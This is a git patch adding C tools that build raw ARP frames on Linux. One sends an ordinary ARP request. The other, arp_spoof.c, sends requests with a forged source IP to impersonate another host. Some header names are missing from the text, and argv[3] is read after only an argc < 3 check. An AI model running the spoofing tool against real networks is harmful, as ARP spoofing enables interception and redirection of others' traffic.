From 0238d103f734e0d4efaeb68e41d0cd2116918b69 Mon Sep 17 00:00:00 2001 From: Dimitri Lozeve Date: Sun, 22 May 2016 14:51:11 +0200 Subject: [PATCH] Initial commit --- Makefile | 16 ++++++ arp.c | 91 ++++++++++++++++++++++++++++++++ arp.h | 40 ++++++++++++++ arp_spoof.c | 133 +++++++++++++++++++++++++++++++++++++++++++++++ simple_request.c | 133 +++++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 413 insertions(+) create mode 100644 Makefile create mode 100644 arp.c create mode 100644 arp.h create mode 100644 arp_spoof.c create mode 100644 simple_request.c diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..6672eee --- /dev/null +++ b/Makefile @@ -0,0 +1,16 @@ +CC=clang +CFLAGS=-g -Wall + +.PHONY: clean all + +all: simple_request arp_spoof + +simple_request: simple_request.o arp.o + +arp_spoof: arp_spoof.o arp.o + +%.o: %.c %.h + $(CC) -c $< $(CFLAGS) + +clean: + rm *.o simple_request arp_spoof diff --git a/arp.c b/arp.c new file mode 100644 index 0000000..6ffe162 --- /dev/null +++ b/arp.c @@ -0,0 +1,91 @@ +/* arp/arp.c */ + +#include "arp.h" + + + +/* Sends an ARP request + + sockfd is the file descriptor of the socket to use to send the + frame, should be a raw socket (AF_PACKET), which accepts ARP + (ETH_P_ALL or ETH_P_ARP) + ifindex is the index of the network interface + ipaddr is the source IP address + macaddr is the source MAC address + target_ip is the IP address to be queried via ARP + + The function returns 0 upon success, EXIT_FAILURE otherwise. +*/ +int send_arp_request(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr target_ip) +{ + + /* DEFINITION OF THE DESTINATION */ + + /* The destination of the packet is contained in a struct + sockaddr_ll, that we fill with the broadcast address + ff:ff:ff:ff:ff:ff */ + /* Broadcast address: */ + const unsigned char ether_broadcast_addr[]= {0xff,0xff,0xff,0xff,0xff,0xff}; + + struct sockaddr_ll addr; + addr.sll_family = AF_PACKET; /* always AF_PACKET */ + addr.sll_protocol = htons(ETH_P_ARP); /* physical-layer protocol */ + addr.sll_ifindex = ifindex; /* interface number */ + addr.sll_halen = ETHER_ADDR_LEN; /* length of address */ + /* physical-layer address: */ + memcpy(addr.sll_addr, ether_broadcast_addr, ETHER_ADDR_LEN); + +#ifdef DEBUG + printf("[OK] Destination structure (struct sockaddr_ll) " + "constructed successfully\n"); +#endif + + + /* ====================================================================== */ + + /* CONSTRUCTION OF THE FRAME */ + + /* We can now build the ARP request frame, using the structures + defined in (included by + ). */ + struct ether_arp request; + request.arp_hrd = htons(ARPHRD_ETHER); /* hardware type: Ethernet */ + request.arp_pro = htons(ETH_P_IP); /* Protocol type: IP */ + request.arp_hln = ETHER_ADDR_LEN; /* Hardware address length */ + request.arp_pln = sizeof(in_addr_t); /* Protocol address length */ + request.arp_op = htons(ARPOP_REQUEST); /* Operation code */ + /* Target hardware address: 0 since this is one we want */ + memset(&request.arp_tha, 0, sizeof(request.arp_tha)); + /* Target protocol address: we put the IP address for which we want + the layer-2 address */ + memcpy(&request.arp_tpa, &target_ip.s_addr, sizeof(request.arp_tpa)); + /* Source hardware address */ + memcpy(&request.arp_sha, macaddr, sizeof(request.arp_sha)); + /* Source protocol (IP) address */ + memcpy(&request.arp_spa, &ipaddr->sin_addr, sizeof(request.arp_spa)); + +#ifdef DEBUG + printf("[OK] ARP request structure (struct ether_arp) " + "constructed successfully\n"); +#endif + + + /* ====================================================================== */ + + /* SEND THE FRAME */ + + int err = sendto(sockfd, &request, sizeof(request), 0, + (struct sockaddr *) &addr, sizeof(addr)); + if (err == -1) { + perror("[FAIL] sendto()"); + exit(EXIT_FAILURE); + } +#ifdef DEBUG + printf("[OK] Frame sent\n"); +#endif + + + + return 0; +} + diff --git a/arp.h b/arp.h new file mode 100644 index 0000000..34c0b4f --- /dev/null +++ b/arp.h @@ -0,0 +1,40 @@ +/* arp/arp.h */ + +#ifndef ARP_H_ +#define ARP_H_ + +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include +#include + + +#define DEBUG + + + +/* Sends an ARP request + + sockfd is the file descriptor of the socket to use to send the + frame, should be a raw socket (AF_PACKET), which accepts ARP + (ETH_P_ALL or ETH_P_ARP) + ifindex is the index of the network interface + ipaddr is the source IP address + macaddr is the source MAC address + target_ip is the IP address to be queried via ARP + + The function returns 0 upon success, EXIT_FAILURE otherwise. +*/ +int send_arp_request(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr target_ip); + + +#endif /* ARP_H_ */ diff --git a/arp_spoof.c b/arp_spoof.c new file mode 100644 index 0000000..dd8b7d7 --- /dev/null +++ b/arp_spoof.c @@ -0,0 +1,133 @@ +/* arp/arp_spoof.c */ + +#include "arp.h" + +int main(int argc, char **argv) +{ + + /* ARGUMENT PARSING + - network interface to use + - target IP address + */ + + if (argc < 3) { + printf("[FAIL] Too few arguments\n" + "Usage: %s \n", argv[0]); + exit(EXIT_FAILURE); + } + + char *if_name = argv[1]; + + char *target_ip_string = argv[2]; + struct in_addr target_ip; + if (!inet_pton(AF_INET, target_ip_string, &target_ip)) { + perror("[FAIL] inet_pton() (badly formatted IP address)"); + exit(EXIT_FAILURE); + } + + char *source_ip_string = argv[3]; + struct in_addr source_ip; + if (!inet_pton(AF_INET, source_ip_string, &source_ip)) { + perror("[FAIL] inet_pton() (badly formatted IP address)"); + exit(EXIT_FAILURE); + } + printf("ARP request to IP address %s on interface %s, impersonating %s\n", + target_ip_string, if_name, source_ip_string); + + + + /* ====================================================================== */ + + /* RAW SOCKET CREATION */ + + /* We open the raw socket */ + /* AF_PACKET: This is a raw Ethernet packet (Linux only, requires root) + SOCK_DGRAM: The link-layer header is constructed automatically + (to build it ourselves, we could have used SOCK_RAW) + ETH_P_ALL: We want to listen to every EtherType (here, we could + also have chosen ETH_P_ARP) */ + int sockfd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL)); + if (sockfd < 0) { + perror("[FAIL] socket()"); + exit(EXIT_FAILURE); + } +#ifdef DEBUG + printf("[OK] Raw Ethernet socket started successfully\n"); +#endif + + + + /* ====================================================================== */ + + /* INFORMATION ON THE LOCAL COMPUTER: + - index number of the network interface + - local IP address + - local MAC address + */ + + /* Since this is very low-level, we can't use the usual interface + name (e.g. "eth0"), so we need to get the index number of the + ethernet interface. */ + //char *if_name = "wlp3s0"; /* Change this if needed */ + struct ifreq ifrindex; + size_t if_name_len = strlen(if_name); + if (if_name_len < sizeof(ifrindex.ifr_name)) { + memcpy(ifrindex.ifr_name, if_name, if_name_len); + ifrindex.ifr_name[if_name_len] = 0; + } + else { + printf("[FAIL] Error: interface name is too long\n"); + } + /* We use ioctl() with SIOCGIFINDEX */ + if (ioctl(sockfd, SIOCGIFINDEX, &ifrindex) == -1) { + perror("[FAIL] ioctl()"); + exit(EXIT_FAILURE); + } + int ifindex = ifrindex.ifr_ifindex; +#ifdef DEBUG + printf("[OK] Index number of the Ethernet interface %s: %d\n", if_name, ifindex); +#endif + + /* We get the MAC address using ioctl() (again) with SIOCGIFHWADDR */ + struct ifreq ifrhwaddr; + if (if_name_len < sizeof(ifrhwaddr.ifr_name)) { + memcpy(ifrhwaddr.ifr_name, if_name, if_name_len); + ifrhwaddr.ifr_name[if_name_len] = 0; + } + else { + printf("[FAIL] Error: interface name is too long\n"); + } + if (ioctl(sockfd, SIOCGIFHWADDR, &ifrhwaddr) == -1) { + perror("[FAIL] ioctl()"); + exit(EXIT_FAILURE); + } + unsigned char *macaddr = (unsigned char *) &ifrhwaddr.ifr_hwaddr.sa_data; +#ifdef DEBUG + printf("[OK] Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n", + macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5]); +#endif + + /* We don't need the real local IP address, we'll use source_ip + instead */ + struct sockaddr_in *ipaddr = malloc(sizeof(struct sockaddr_in)); + ipaddr->sin_family = AF_INET; + ipaddr->sin_port = htons(5746); + ipaddr->sin_addr = source_ip; + char source_ip_string2[16]; + if (!inet_ntop(AF_INET, &ipaddr->sin_addr, source_ip_string2, sizeof(source_ip_string2))) { + perror("[FAIL] inet_ntop()"); + exit(EXIT_FAILURE); + } +#ifdef DEBUG + printf("[OK] Local IP address: %s\n", source_ip_string2); +#endif + + + /* ====================================================================== */ + + send_arp_request(sockfd, ifindex, ipaddr, macaddr, target_ip); + + + + exit(EXIT_SUCCESS); +} diff --git a/simple_request.c b/simple_request.c new file mode 100644 index 0000000..c2b469e --- /dev/null +++ b/simple_request.c @@ -0,0 +1,133 @@ +/* arp/simple_request.c */ + +#include "arp.h" + +int main(int argc, char **argv) +{ + + /* ARGUMENT PARSING + - network interface to use + - target IP address + */ + + if (argc < 3) { + printf("[FAIL] Too few arguments\n" + "Usage: %s \n", argv[0]); + exit(EXIT_FAILURE); + } + + char *if_name = argv[1]; + char *target_ip_string = argv[2]; + struct in_addr target_ip; + if (!inet_pton(AF_INET, target_ip_string, &target_ip)) { + perror("[FAIL] inet_pton() (badly formatted IP address)"); + exit(EXIT_FAILURE); + } + printf("ARP request for IP address %s on interface %s\n", + target_ip_string, if_name); + + + /* ====================================================================== */ + + /* RAW SOCKET CREATION */ + + /* We open the raw socket */ + /* AF_PACKET: This is a raw Ethernet packet (Linux only, requires root) + SOCK_DGRAM: The link-layer header is constructed automatically + (to build it ourselves, we could have used SOCK_RAW) + ETH_P_ALL: We want to listen to every EtherType (here, we could + also have chosen ETH_P_ARP) */ + int sockfd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL)); + if (sockfd < 0) { + perror("[FAIL] socket()"); + exit(EXIT_FAILURE); + } +#ifdef DEBUG + printf("[OK] Raw Ethernet socket started successfully\n"); +#endif + + + /* ====================================================================== */ + + /* INFORMATION ON THE LOCAL COMPUTER: + - index number of the network interface + - local IP address + - local MAC address + */ + + /* Since this is very low-level, we can't use the usual interface + name (e.g. "eth0"), so we need to get the index number of the + ethernet interface. */ + //char *if_name = "wlp3s0"; /* Change this if needed */ + struct ifreq ifrindex; + size_t if_name_len = strlen(if_name); + if (if_name_len < sizeof(ifrindex.ifr_name)) { + memcpy(ifrindex.ifr_name, if_name, if_name_len); + ifrindex.ifr_name[if_name_len] = 0; + } + else { + printf("[FAIL] Error: interface name is too long\n"); + } + /* We use ioctl() with SIOCGIFINDEX */ + if (ioctl(sockfd, SIOCGIFINDEX, &ifrindex) == -1) { + perror("[FAIL] ioctl()"); + exit(EXIT_FAILURE); + } + int ifindex = ifrindex.ifr_ifindex; +#ifdef DEBUG + printf("[OK] Index number of the Ethernet interface %s: %d\n", if_name, ifindex); +#endif + + /* We get our IP address using ioctl() and SIOCGIFADDR */ + struct ifreq ifraddr; + if (if_name_len < sizeof(ifraddr.ifr_name)) { + memcpy(ifraddr.ifr_name, if_name, if_name_len); + ifraddr.ifr_name[if_name_len] = 0; + } + else { + printf("[FAIL] Error: interface name is too long\n"); + } + if (ioctl(sockfd, SIOCGIFADDR, &ifraddr) == -1) { + perror("[FAIL] ioctl()"); + exit(EXIT_FAILURE); + } + struct sockaddr_in *ipaddr = (struct sockaddr_in *) &ifraddr.ifr_addr; + char local_ip_string[16]; + if (!inet_ntop(AF_INET, &ipaddr->sin_addr, local_ip_string, sizeof(local_ip_string))) { + perror("[FAIL] inet_ntop()"); + exit(EXIT_FAILURE); + } +#ifdef DEBUG + printf("[OK] Local IP address: %s\n", local_ip_string); +#endif + + /* We get the MAC address using ioctl() (again) with SIOCGIFHWADDR */ + struct ifreq ifrhwaddr; + if (if_name_len < sizeof(ifrhwaddr.ifr_name)) { + memcpy(ifrhwaddr.ifr_name, if_name, if_name_len); + ifrhwaddr.ifr_name[if_name_len] = 0; + } + else { + printf("[FAIL] Error: interface name is too long\n"); + } + if (ioctl(sockfd, SIOCGIFHWADDR, &ifrhwaddr) == -1) { + perror("[FAIL] ioctl()"); + exit(EXIT_FAILURE); + } + unsigned char *macaddr = (unsigned char *) &ifrhwaddr.ifr_hwaddr.sa_data; +#ifdef DEBUG + printf("[OK] Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n", + macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5]); +#endif + + + /* ====================================================================== */ + + send_arp_request(sockfd, ifindex, ipaddr, macaddr, target_ip); + + + + exit(EXIT_SUCCESS); +} + +